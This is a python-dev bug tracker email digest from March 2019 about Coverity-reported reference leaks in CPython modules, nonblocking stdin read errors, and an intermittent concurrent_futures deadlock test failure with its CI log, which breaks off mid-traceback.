status: open
title: Coverity scan: Resource leaks in longobject.c
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36292>
_______________________________________

From report at bugs.python.org  Thu Mar 14 11:17:42 2019
From: report at bugs.python.org (Mark Dickinson)
Date: Thu, 14 Mar 2019 15:17:42 +0000
Subject: [issue36292] Coverity scan: Resource leaks in longobject.c
In-Reply-To: <1552576592.77.0.356319566545.issue36292@roundup.psfhosted.org>
Message-ID: <1552576662.49.0.991446282736.issue36292@roundup.psfhosted.org>


Change by Mark Dickinson <dickinsm at gmail.com>:


----------
nosy: +mark.dickinson

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36292>
_______________________________________

From report at bugs.python.org  Thu Mar 14 11:17:50 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Mar 2019 15:17:50 +0000
Subject: [issue36291] [2.7] Coverity Scan: Modules/_json.c: leaked_storage:
 Variable "numstr" going out of scope leaks the storage it points to.
In-Reply-To: <1552575044.21.0.83724998677.issue36291@roundup.psfhosted.org>
Message-ID: <1552576670.19.0.631461155294.issue36291@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Note for myself: Python 3 isn't affected by this issue. The issue in Python 2 is in the _match_number_str() function which doesn't exist in Python 3. In Python 3, _parse_object_unicode() uses a very different code: it calls PyFloat_FromString() or PyLong_FromString() for numstr.

----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36291>
_______________________________________

From report at bugs.python.org  Thu Mar 14 11:23:07 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Mar 2019 15:23:07 +0000
Subject: [issue36291] [2.7] Coverity Scan: Modules/_json.c: leaked_storage:
 Variable "numstr" going out of scope leaks the storage it points to.
In-Reply-To: <1552575044.21.0.83724998677.issue36291@roundup.psfhosted.org>
Message-ID: <1552576987.29.0.727506214265.issue36291@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset fb3336acfde3204fd01ce519ef24cc18a94dfa3f by Victor Stinner (stratakis) in branch '2.7':
[2.7] bpo-36291: Fix a possible reference leak in the json module (GH-12330)
https://github.com/python/cpython/commit/fb3336acfde3204fd01ce519ef24cc18a94dfa3f


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36291>
_______________________________________

From report at bugs.python.org  Thu Mar 14 11:23:42 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Mar 2019 15:23:42 +0000
Subject: [issue36291] [2.7] Coverity Scan: Modules/_json.c: leaked_storage:
 Variable "numstr" going out of scope leaks the storage it points to.
In-Reply-To: <1552575044.21.0.83724998677.issue36291@roundup.psfhosted.org>
Message-ID: <1552577022.19.0.562696911215.issue36291@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Thanks Charalampos, I merged your PR.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36291>
_______________________________________

From report at bugs.python.org  Thu Mar 14 11:24:02 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Mar 2019 15:24:02 +0000
Subject: [issue36292] Coverity scan: Resource leaks in longobject.c
In-Reply-To: <1552576592.77.0.356319566545.issue36292@roundup.psfhosted.org>
Message-ID: <1552577042.66.0.83439746942.issue36292@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36292>
_______________________________________

From report at bugs.python.org  Thu Mar 14 11:25:47 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Mar 2019 15:25:47 +0000
Subject: [issue36262] Coverity scan: Python/dtoa.c resource leak
In-Reply-To: <1552312407.35.0.685640329933.issue36262@roundup.psfhosted.org>
Message-ID: <1552577147.98.0.962721151325.issue36262@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12302

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36262>
_______________________________________

From report at bugs.python.org  Thu Mar 14 11:25:51 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Mar 2019 15:25:51 +0000
Subject: [issue36262] Coverity scan: Python/dtoa.c resource leak
In-Reply-To: <1552312407.35.0.685640329933.issue36262@roundup.psfhosted.org>
Message-ID: <1552577151.75.0.477903839014.issue36262@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12303

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36262>
_______________________________________

From report at bugs.python.org  Thu Mar 14 11:35:30 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 14 Mar 2019 15:35:30 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552577730.93.0.631462161969.issue34160@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

Please do add an entry to WhatsNew.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Thu Mar 14 11:35:44 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Mar 2019 15:35:44 +0000
Subject: [issue36289] [2.7] Coverity scan: Modules/_io/bufferedio.c
 leaked_storage: Variable "data" going out of scope leaks the storage it
 points to.
In-Reply-To: <1552574375.17.0.27732361131.issue36289@roundup.psfhosted.org>
Message-ID: <1552577744.37.0.471342653573.issue36289@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 2dd6e079ae71f3723fbea2582ac080be06a6968f by Victor Stinner (stratakis) in branch '2.7':
[2.7] bpo-36289: Fix a possible reference leak in the io module (GH-12329)
https://github.com/python/cpython/commit/2dd6e079ae71f3723fbea2582ac080be06a6968f


----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36289>
_______________________________________

From report at bugs.python.org  Thu Mar 14 11:37:29 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Mar 2019 15:37:29 +0000
Subject: [issue36289] [2.7] Coverity scan: Modules/_io/bufferedio.c
 leaked_storage: Variable "data" going out of scope leaks the storage it
 points to.
In-Reply-To: <1552574375.17.0.27732361131.issue36289@roundup.psfhosted.org>
Message-ID: <1552577849.39.0.665597520128.issue36289@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Thanks Charalampos, I merged your PR.

Python 3.7 and master are not affected: _bufferedreader_read_all() has been refactored to add a "cleanup" label which clears all local data including the 'data' variable.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36289>
_______________________________________

From report at bugs.python.org  Thu Mar 14 11:48:51 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Thu, 14 Mar 2019 15:48:51 +0000
Subject: [issue36292] Coverity scan: Resource leaks in longobject.c
In-Reply-To: <1552576592.77.0.356319566545.issue36292@roundup.psfhosted.org>
Message-ID: <1552578531.24.0.322938244429.issue36292@roundup.psfhosted.org>


Change by Charalampos Stratakis <cstratak at redhat.com>:


----------
keywords: +patch
pull_requests: +12304
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36292>
_______________________________________

From report at bugs.python.org  Thu Mar 14 11:50:35 2019
From: report at bugs.python.org (Cyker Way)
Date: Thu, 14 Mar 2019 15:50:35 +0000
Subject: [issue36293] Nonblocking read sys.stdin raises error
Message-ID: <1552578635.55.0.427957631553.issue36293@roundup.psfhosted.org>


New submission from Cyker Way <cykerway at gmail.com>:

This piece of code will raise an error:

    import os
    import sys

    os.set_blocking(sys.stdin.fileno(), False)
    sys.stdin.read()

Error:

>   TypeError: can't concat NoneType to bytes

Not sure if this is relevant (for a different version of Python): https://bugs.python.org/issue24560

----------
components: Library (Lib), Unicode
messages: 337940
nosy: cykerway, ezio.melotti, vstinner
priority: normal
severity: normal
status: open
title: Nonblocking read sys.stdin raises error
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36293>
_______________________________________

From report at bugs.python.org  Thu Mar 14 12:03:21 2019
From: report at bugs.python.org (Cyker Way)
Date: Thu, 14 Mar 2019 16:03:21 +0000
Subject: [issue36294] `io.BufferedIOBase` returns `None`
Message-ID: <1552579401.5.0.833701735318.issue36294@roundup.psfhosted.org>


New submission from Cyker Way <cykerway at gmail.com>:

Document of [BufferedIOBase](https://docs.python.org/3/library/io.html#io.BufferedIOBase) says:

>   ...unlike their RawIOBase counterparts, they will never return None.

But this example shows the above statement is not true:

    import io
    import os
    import sys

    os.set_blocking(sys.stdin.fileno(), False)
    print(isinstance(sys.stdin.buffer, io.BufferedIOBase))
    print(sys.stdin.buffer.read())

Output:

    True
    None

----------
components: IO, Library (Lib)
messages: 337941
nosy: cykerway
priority: normal
severity: normal
status: open
title: `io.BufferedIOBase` returns `None`
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36294>
_______________________________________

From report at bugs.python.org  Thu Mar 14 12:08:23 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Mar 2019 16:08:23 +0000
Subject: [issue35809]
 test_concurrent_futures.ProcessPoolForkExecutorDeadlockTest fails
 intermittently on Travis and passes in verbose mode
In-Reply-To: <1548251301.46.0.302427080079.issue35809@roundup.psfhosted.org>
Message-ID: <1552579703.81.0.126990128385.issue35809@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Another example:
https://travis-ci.org/python/cpython/jobs/506338756

0:06:39 load avg: 4.23 [326/416/1] test_concurrent_futures failed -- running: test_multiprocessing_spawn (1 min 27 sec)
Traceback:
 Thread 0x00002b2b1c243700 (most recent call first):
  File "/home/travis/build/python/cpython/Lib/threading.py", line 296 in wait
  File "/home/travis/build/python/cpython/Lib/multiprocessing/queues.py", line 224 in _feed
  File "/home/travis/build/python/cpython/Lib/threading.py", line 865 in run
  File "/home/travis/build/python/cpython/Lib/threading.py", line 917 in _bootstrap_inner
  File "/home/travis/build/python/cpython/Lib/threading.py", line 885 in _bootstrap
Thread 0x00002b2b1c65a700 (most recent call first):
  File "/home/travis/build/python/cpython/Lib/selectors.py", line 415 in select
  File "/home/travis/build/python/cpython/Lib/multiprocessing/connection.py", line 920 in wait
  File "/home/travis/build/python/cpython/Lib/concurrent/futures/process.py", line 354 in _queue_management_worker
  File "/home/travis/build/python/cpython/Lib/threading.py", line 865 in run
  File "/home/travis/build/python/cpython/Lib/threading.py", line 917 in _bootstrap_inner
  File "/home/travis/build/python/cpython/Lib/threading.py", line 885 in _bootstrap
Current thread 0x00002b2b150439c0 (most recent call first):
  File "/home/travis/build/python/cpython/Lib/test/test_concurrent_futures.py", line 901 in _fail_on_deadlock
  File "/home/travis/build/python/cpython/Lib/test/test_concurrent_futures.py", line 962 in test_crash
  File "/home/travis/build/python/cpython/Lib/unittest/case.py", line 615 in run
  File "/home/travis/build/python/cpython/Lib/unittest/case.py", line 663 in __call__
  File "/home/travis/build/python/cpython/Lib/unittest/suite.py", line 122 in run
  File "/home/travis/build/python/cpython/Lib/unittest/suite.py", line 84 in __call__
  File "/home/travis/build/python/cpython/Lib/unittest/suite.py", line 122 in run
  File "/home/travis/build/python/cpython/Lib/unittest/suite.py", line 84 in __call__
  File "/home/travis/build/python/cpython/Lib/unittest/suite.py", line 122 in run
  File "/home/travis/build/python/cpython/Lib/unittest/suite.py", line 84 in __call__
  File "/home/travis/build/python/cpython/Lib/unittest/runner.py", line 176 in run
  File "/home/travis/build/python/cpython/Lib/test/support/__init__.py", line 1899 in _run_suite
  File "/home/travis/build/python/cpython/Lib/test/support/__init__.py", line 1995 in run_unittest
  File "/home/travis/build/python/cpython/Lib/test/test_concurrent_futures.py", line 1213 in test_main
  File "/home/travis/build/python/cpython/Lib/test/support/__init__.py", line 2127 in decorator
  File "/home/travis/build/python/cpython/Lib/test/libregrtest/runtest.py", line 182 in runtest_inner
  File "/home/travis/build/python/cpython/Lib/test/libregrtest/runtest.py", line 127 in runtest
  File "/home/travis/build/python/cpython/Lib/test/libregrtest/runtest_mp.py", line 68 in run_tests_worker
  File "/home/travis/build/python/cpython/Lib/test/libregrtest/main.py", line 600 in _main
  File "/home/travis/build/python/cpython/Lib/test/libregrtest/main.py", line 586 in main
  File "/home/travis/build/python/cpython/Lib/test/libregrtest/main.py", line 640 in main
  File "/home/travis/build/python/cpython/Lib/test/regrtest.py", line 46 in _main
  File "/home/travis/build/python/cpython/Lib/test/regrtest.py", line 50 in <module>
  File "/home/travis/build/python/cpython/Lib/runpy.py", line 85 in _run_code
  File "/home/travis/build/python/cpython/Lib/runpy.py", line 193 in _run_module_as_main
test_cancel (test.test_concurrent_futures.FutureTests) ... ok
test_cancelled (test.test_concurrent_futures.FutureTests) ... ok
test_done (test.test_concurrent_futures.FutureTests) ... ok
test_done_callback_already_cancelled (test.test_concurrent_futures.FutureTests) ... ok
test_done_callback_already_failed (test.test_concurrent_futures.FutureTests) ... ok
test_done_callback_already_successful (test.test_concurrent_futures.FutureTests) ... ok
test_done_callback_raises (test.test_concurrent_futures.FutureTests) ... ok
test_done_callback_with_cancel (test.test_concurrent_futures.FutureTests) ... ok
test_done_callback_with_exception (test.test_concurrent_futures.FutureTests) ... ok
test_done_callback_with_result (test.test_concurrent_futures.FutureTests) ... ok
test_exception_with_success (test.test_concurrent_futures.FutureTests) ... ok
test_exception_with_timeout (test.test_concurrent_futures.FutureTests) ... ok
test_repr (test.test_concurrent_futures.FutureTests) ... ok
test_result_with_cancel (test.test_concurrent_futures.FutureTests) ... ok
test_result_with_success (test.test_concurrent_futures.FutureTests) ... ok
test_result_with_timeout (test.test_concurrent_futures.FutureTests) ... ok
test_running (test.test_concurrent_futures.FutureTests) ... ok
test_correct_timeout_exception_msg (test.test_concurrent_futures.ProcessPoolForkAsCompletedTest) ... 0.15s ok
test_duplicate_futures (test.test_concurrent_futures.ProcessPoolForkAsCompletedTest) ... 2.14s ok
test_free_reference_yielded_future (test.test_concurrent_futures.ProcessPoolForkAsCompletedTest) ... 0.16s ok
test_no_timeout (test.test_concurrent_futures.ProcessPoolForkAsCompletedTest) ... 0.14s ok
test_zero_timeout (test.test_concurrent_futures.ProcessPoolForkAsCompletedTest) ... 2.16s ok
test_crash (test.test_concurrent_futures.ProcessPoolForkExecutorDeadlockTest) ... 28.53s test_shutdown_deadlock (test.test_concurrent_futures.ProcessPoolForkExecutorDeadlockTest) ... 0.46s ok
test_initializer (test.test_concurrent_futures.ProcessPoolForkFailingInitializerTest) ... 0.13s ok
test_initializer (test.test_concurrent_futures.ProcessPoolForkInitializerTest) ... 0.12s ok
test_free_reference (test.test_concurrent_futures.ProcessPoolForkProcessPoolExecutorTest) ... 0.17s ok
test_killed_child (test.test_concurrent_futures.ProcessPoolForkProcessPoolExecutorTest) ... 0.16s ok
test_map (test.test_concurrent_futures.ProcessPoolForkProcessPoolExecutorTest) ... 0.16s ok
test_map_chunksize (test.test_concurrent_futures.ProcessPoolForkProcessPoolExecutorTest) ... 0.16s ok
test_map_exception (test.test_concurrent_futures.ProcessPoolForkProcessPoolExecutorTest) ... 0.18s ok
test_map_timeout (test.test_concurrent_futures.ProcessPoolForkProcessPoolExecutorTest) ... 6.16s ok
test_max_workers_negative (test.test_concurrent_futures.ProcessPoolForkProcessPoolExecutorTest) ... 0.15s ok
test_no_stale_references (test.test_concurrent_futures.ProcessPoolForkProcessPoolExecutorTest) ... 0.16s ok
test_ressources_gced_in_workers (test.test_concurrent_futures.ProcessPoolForkProcessPoolExecutorTest) ... 0.29s ok
test_shutdown_race_issue12456 (test.test_concurrent_futures.ProcessPoolForkProcessPoolExecutorTest) ... 0.16s ok
test_submit (test.test_concurrent_futures.ProcessPoolForkProcessPoolExecutorTest) ... 0.14s ok
test_submit_keyword (test.test_concurrent_futures.ProcessPoolForkProcessPoolExecutorTest) ... 0.16s ok
test_traceback (test.test_concurrent_futures.ProcessPoolForkProcessPoolExecutorTest) ... 0.15s ok
test_context_manager_shutdown (test.test_concurrent_futures.ProcessPoolForkProcessPoolShutdownTest) ... 0.05s ok
test_del_shutdown (test.test_concurrent_futures.ProcessPoolForkProcessPoolShutdownTest) ... 0.06s ok
test_hang_issue12364 (test.test_concurrent_futures.ProcessPoolForkProcessPoolShutdownTest) ... 1.05s ok
test_interpreter_shutdown (test.test_concurrent_futures.ProcessPoolForkProcessPoolShutdownTest) ... 1.64s ok
test_processes_terminate (test.test_concurrent_futures.ProcessPoolForkProcessPoolShutdownTest) ... 0.05s ok
test_run_after_shutdown (test.test_concurrent_futures.ProcessPoolForkProcessPoolShutdownTest) ... 0.00s ok
test_submit_after_interpreter_shutdown (test.test_concurrent_futures.ProcessPoolForkProcessPoolShutdownTest) ... 0.40s ok
test_all_completed (test.test_concurrent_futures.ProcessPoolForkWaitTest) ... 0.16s ok
test_first_completed (test.test_concurrent_futures.ProcessPoolForkWaitTest) ... 1.66s ok
test_first_completed_some_already_completed (test.test_concurrent_futures.ProcessPoolForkWaitTest) ... 1.66s ok
test_first_exception_one_already_failed (test.test_concurrent_futures.ProcessPoolForkWaitTest) ... 2.16s ok
test_first_exception_some_already_complete (test.test_concurrent_futures.ProcessPoolForkWaitTest) ... 1.65s ok
test_timeout (test.test_concurrent_futures.ProcessPoolForkWaitTest) ... 6.14s ok
test_correct_timeout_exception_msg (test.test_concurrent_futures.ProcessPoolForkserverAsCompletedTest) ... 0.86s ok
test_duplicate_futures (test.test_concurrent_futures.ProcessPoolForkserverAsCompletedTest) ... 2.54s ok
test_free_reference_yielded_future (test.test_concurrent_futures.ProcessPoolForkserverAsCompletedTest) ... 0.49s ok
test_no_timeout (test.test_concurrent_futures.ProcessPoolForkserverAsCompletedTest) ... 0.53s ok
test_zero_timeout (test.test_concurrent_futures.ProcessPoolForkserverAsCompletedTest) ... 2.50s ok
test_crash (test.test_concurrent_futures.ProcessPoolForkserverExecutorDeadlockTest) ... 3.96s ok
test_shutdown_deadlock (test.test_concurrent_futures.ProcessPoolForkserverExecutorDeadlockTest) ... 1.16s ok
test_initializer (test.test_concurrent_futures.ProcessPoolForkserverFailingInitializerTest) ... 0.39s ok
test_initializer (test.test_concurrent_futures.ProcessPoolForkserverInitializerTest) ... 0.31s ok
test_free_reference (test.test_concurrent_futures.ProcessPoolForkserverProcessPoolExecutorTest) ... 0.66s ok
test_killed_child (test.test_concurrent_futures.ProcessPoolForkserverProcessPoolExecutorTest) ... 0.62s ok
test_map (test.test_concurrent_futures.ProcessPoolForkserverProcessPoolExecutorTest) ... 0.63s ok
test_map_chunksize (test.test_concurrent_futures.ProcessPoolForkserverProcessPoolExecutorTest) ... 0.66s ok
test_map_exception (test.test_concurrent_futures.ProcessPoolForkserverProcessPoolExecutorTest) ... 0.68s ok
test_map_timeout (test.test_concurrent_futures.ProcessPoolForkserverProcessPoolExecutorTest) ... 6.58s ok
test_max_workers_negative (test.test_concurrent_futures.ProcessPoolForkserverProcessPoolExecutorTest) ... 0.58s ok
test_no_stale_references (test.test_concurrent_futures.ProcessPoolForkserverProcessPoolExecutorTest) ... 0.62s ok
test_ressources_gced_in_workers (test.test_concurrent_futures.ProcessPoolForkserverProcessPoolExecutorTest) ... 0.96s ok
test_shutdown_race_issue12456 (test.test_concurrent_futures.ProcessPoolForkserverProcessPoolExecutorTest) ... 0.60s ok
test_submit (test.test_concurrent_futures.ProcessPoolForkserverProcessPoolExecutorTest) ... 0.63s ok
test_submit_keyword (test.test_concurrent_futures.ProcessPoolForkserverProcessPoolExecutorTest) ... 0.64s ok
test_traceback (test.test_concurrent_futures.ProcessPoolForkserverProcessPoolExecutorTest) ... 0.55s ok
test_context_manager_shutdown (test.test_concurrent_futures.ProcessPoolForkserverProcessPoolShutdownTest) ... 0.05s ok
test_del_shutdown (test.test_concurrent_futures.ProcessPoolForkserverProcessPoolShutdownTest) ... 0.05s ok
test_hang_issue12364 (test.test_concurrent_futures.ProcessPoolForkserverProcessPoolShutdownTest) ... 1.44s ok
test_interpreter_shutdown (test.test_concurrent_futures.ProcessPoolForkserverProcessPoolShutdownTest) ... 1.99s ok
test_processes_terminate (test.test_concurrent_futures.ProcessPoolForkserverProcessPoolShutdownTest) ... 0.40s ok
test_run_after_shutdown (test.test_concurrent_futures.ProcessPoolForkserverProcessPoolShutdownTest) ... 0.00s ok
test_submit_after_interpreter_shutdown (test.test_concurrent_futures.ProcessPoolForkserverProcessPoolShutdownTest) ... 0.42s ok
test_all_completed (test.test_concurrent_futures.ProcessPoolForkserverWaitTest) ... 0.56s ok
test_first_completed (test.test_concurrent_futures.ProcessPoolForkserverWaitTest) ... 2.07s ok
test_first_completed_some_already_completed (test.test_concurrent_futures.ProcessPoolForkserverWaitTest) ... 1.96s ok
test_first_exception (test.test_concurrent_futures.ProcessPoolForkserverWaitTest) ... 3.54s ok
test_first_exception_one_already_failed (test.test_concurrent_futures.ProcessPoolForkserverWaitTest) ... 2.43s ok
test_first_exception_some_already_complete (test.test_concurrent_futures.ProcessPoolForkserverWaitTest) ... 2.00s ok
test_timeout (test.test_concurrent_futures.ProcessPoolForkserverWaitTest) ... 6.56s ok
test_correct_timeout_exception_msg (test.test_concurrent_futures.ProcessPoolSpawnAsCompletedTest) ... 1.11s ok
test_duplicate_futures (test.test_concurrent_futures.ProcessPoolSpawnAsCompletedTest) ... 3.15s ok
test_free_reference_yielded_future (test.test_concurrent_futures.ProcessPoolSpawnAsCompletedTest) ... 1.24s ok
test_no_timeout (test.test_concurrent_futures.ProcessPoolSpawnAsCompletedTest) ... 1.17s ok
test_zero_timeout (test.test_concurrent_futures.ProcessPoolSpawnAsCompletedTest) ... 3.17s ok
test_crash (test.test_concurrent_futures.ProcessPoolSpawnExecutorDeadlockTest) ... 11.24s ok
test_shutdown_deadlock (test.test_concurrent_futures.ProcessPoolSpawnExecutorDeadlockTest) ... 2.00s ok
test_initializer (test.test_concurrent_futures.ProcessPoolSpawnFailingInitializerTest) ... 0.55s ok
test_initializer (test.test_concurrent_futures.ProcessPoolSpawnInitializerTest) ... 0.54s ok
test_free_reference (test.test_concurrent_futures.ProcessPoolSpawnProcessPoolExecutorTest) ... 1.20s ok
test_killed_child (test.test_concurrent_futures.ProcessPoolSpawnProcessPoolExecutorTest) ... 0.97s ok
test_map (test.test_concurrent_futures.ProcessPoolSpawnProcessPoolExecutorTest) ... 1.23s ok
test_map_chunksize (test.test_concurrent_futures.ProcessPoolSpawnProcessPoolExecutorTest) ... 1.18s ok
test_map_exception (test.test_concurrent_futures.ProcessPoolSpawnProcessPoolExecutorTest) ... 1.15s ok
test_map_timeout (test.test_concurrent_futures.ProcessPoolSpawnProcessPoolExecutorTest) ... 7.19s ok
test_max_workers_negative (test.test_concurrent_futures.ProcessPoolSpawnProcessPoolExecutorTest) ... 1.37s ok
test_no_stale_references (test.test_concurrent_futures.ProcessPoolSpawnProcessPoolExecutorTest) ... 1.23s ok
test_ressources_gced_in_workers (test.test_concurrent_futures.ProcessPoolSpawnProcessPoolExecutorTest) ... 1.49s ok
test_shutdown_race_issue12456 (test.test_concurrent_futures.ProcessPoolSpawnProcessPoolExecutorTest) ... 1.11s ok
test_submit (test.test_concurrent_futures.ProcessPoolSpawnProcessPoolExecutorTest) ... 1.07s ok
test_submit_keyword (test.test_concurrent_futures.ProcessPoolSpawnProcessPoolExecutorTest) ... 1.20s ok
test_traceback (test.test_concurrent_futures.ProcessPoolSpawnProcessPoolExecutorTest) ... 1.22s ok
test_del_shutdown (test.test_concurrent_futures.ProcessPoolSpawnProcessPoolShutdownTest) ... 0.07s ok
test_hang_issue12364 (test.test_concurrent_futures.ProcessPoolSpawnProcessPoolShutdownTest) ... 2.12s ok
test_interpreter_shutdown (test.test_concurrent_futures.ProcessPoolSpawnProcessPoolShutdownTest) ... 2.34s ok
test_processes_terminate (test.test_concurrent_futures.ProcessPoolSpawnProcessPoolShutdownTest) ... 1.27s ok
test_run_after_shutdown (test.test_concurrent_futures.ProcessPoolSpawnProcessPoolShutdownTest) ... 0.00s ok
test_submit_after_interpreter_shutdown (test.test_concurrent_futures.ProcessPoolSpawnProcessPoolShutdownTest) ... 0.97s ok
test_all_completed (test.test_concurrent_futures.ProcessPoolSpawnWaitTest) ... 1.24s ok
test_first_completed (test.test_concurrent_futures.ProcessPoolSpawnWaitTest) ... 2.51s ok
test_first_completed_some_already_completed (test.test_concurrent_futures.ProcessPoolSpawnWaitTest) ... 2.77s ok
test_first_exception (test.test_concurrent_futures.ProcessPoolSpawnWaitTest) ... 4.22s ok
test_first_exception_one_already_failed (test.test_concurrent_futures.ProcessPoolSpawnWaitTest) ... 3.18s ok
test_first_exception_some_already_complete (test.test_concurrent_futures.ProcessPoolSpawnWaitTest) ... 2.98s ok
test_timeout (test.test_concurrent_futures.ProcessPoolSpawnWaitTest) ... 7.26s ok
test_correct_timeout_exception_msg (test.test_concurrent_futures.ThreadPoolAsCompletedTest) ... 0.11s ok
test_duplicate_futures (test.test_concurrent_futures.ThreadPoolAsCompletedTest) ... 2.13s ok
test_free_reference_yielded_future (test.test_concurrent_futures.ThreadPoolAsCompletedTest) ... 0.12s ok
test_no_timeout (test.test_concurrent_futures.ThreadPoolAsCompletedTest) ... 0.13s ok
test_zero_timeout (test.test_concurrent_futures.ThreadPoolAsCompletedTest) ... 2.13s ok
test_default_workers (test.test_concurrent_futures.ThreadPoolExecutorTest) ... 0.13s ok
test_free_reference (test.test_concurrent_futures.ThreadPoolExecutorTest) ... 0.12s ok
test_map (test.test_concurrent_futures.ThreadPoolExecutorTest) ... 0.14s ok
test_map_exception (test.test_concurrent_futures.ThreadPoolExecutorTest) ... 0.13s ok
test_map_submits_without_iteration (test.test_concurrent_futures.ThreadPoolExecutorTest)
Tests verifying issue 11777. ... 0.14s ok
test_map_timeout (test.test_concurrent_futures.ThreadPoolExecutorTest) ... 6.15s ok
test_max_workers_negative (test.test_concurrent_futures.ThreadPoolExecutorTest) ... 0.14s ok
test_no_stale_references (test.test_concurrent_futures.ThreadPoolExecutorTest) ... 0.13s ok
test_shutdown_race_issue12456 (test.test_concurrent_futures.ThreadPoolExecutorTest) ... 0.14s ok
test_submit (test.test_concurrent_futures.ThreadPoolExecutorTest) ... 0.12s ok
test_submit_keyword (test.test_concurrent_futures.ThreadPoolExecutorTest) ... 0.13s ok
test_initializer (test.test_concurrent_futures.ThreadPoolFailingInitializerTest) ... 0.11s ok
test_initializer (test.test_concurrent_futures.ThreadPoolInitializerTest) ... 0.11s ok
test_context_manager_shutdown (test.test_concurrent_futures.ThreadPoolShutdownTest) ... 0.02s ok
test_del_shutdown (test.test_concurrent_futures.ThreadPoolShutdownTest) ... 0.02s ok
test_hang_issue12364 (test.test_concurrent_futures.ThreadPoolShutdownTest) ... 1.03s ok
test_interpreter_shutdown (test.test_concurrent_futures.ThreadPoolShutdownTest) ... 1.52s ok
test_run_after_shutdown (test.test_concurrent_futures.ThreadPoolShutdownTest) ... 0.00s ok
test_submit_after_interpreter_shutdown (test.test_concurrent_futures.ThreadPoolShutdownTest) ... 0.23s ok
test_thread_names_assigned (test.test_concurrent_futures.ThreadPoolShutdownTest) ... 0.03s ok
test_thread_names_default (test.test_concurrent_futures.ThreadPoolShutdownTest) ... 0.03s ok
test_threads_terminate (test.test_concurrent_futures.ThreadPoolShutdownTest) ... 0.03s ok
test_all_completed (test.test_concurrent_futures.ThreadPoolWaitTests) ... 0.13s ok
test_first_completed (test.test_concurrent_futures.ThreadPoolWaitTests) ... 1.63s ok
test_first_completed_some_already_completed (test.test_concurrent_futures.ThreadPoolWaitTests) ... 1.63s ok
test_first_exception (test.test_concurrent_futures.ThreadPoolWaitTests) ... 3.13s ok
test_first_exception_one_already_failed (test.test_concurrent_futures.ThreadPoolWaitTests) ... 2.15s ok
test_first_exception_some_already_complete (test.test_concurrent_futures.ThreadPoolWaitTests) ... 1.63s ok
test_pending_calls_race (test.test_concurrent_futures.ThreadPoolWaitTests) ... 0.14s ok
test_timeout (test.test_concurrent_futures.ThreadPoolWaitTests) ... 6.15s ok
======================================================================
FAIL: test_crash (test.test_concurrent_futures.ProcessPoolForkExecutorDeadlockTest) [crash at task unpickle]
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/travis/build/python/cpython/Lib/test/test_concurrent_futures.py", line 958, in test_crash
    res.result(timeout=self.TIMEOUT)
  File "/home/travis/build/python/cpython/Lib/concurrent/futures/_base.py", line 434, in result
    raise TimeoutError()
concurrent.futures._base.TimeoutError
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
  File "/home/travis/build/python/cpython/Lib/test/test_concurrent_futures.py", line 962, in test_crash
    self._fail_on_deadlock(executor)
  File "/home/travis/build/python/cpython/Lib/test/test_concurrent_futures.py", line 910, in _fail_on_deadlock
    self.fail(f"Executor deadlock:\n\n{tb}")
AssertionError: Executor deadlock:
Thread 0x00002b2b1c243700 (most recent call first):
  File "/home/travis/build/python/cpython/Lib/threading.py", line 296 in wait
  File "/home/travis/build/python/cpython/Lib/multiprocessing/queues.py", line 224 in _feed
  File "/home/travis/build/python/cpython/Lib/threading.py", line 865 in run
  File "/home/travis/build/python/cpython/Lib/threading.py", line 917 in _bootstrap_inner
  File "/home/travis/build/python/cpython/Lib/threading.py", line 885 in _bootstrap
Thread 0x00002b2b1c65a700 (most recent call first):
  File "/home/travis/build/python/cpython/Lib/selectors.py", line 415 in select
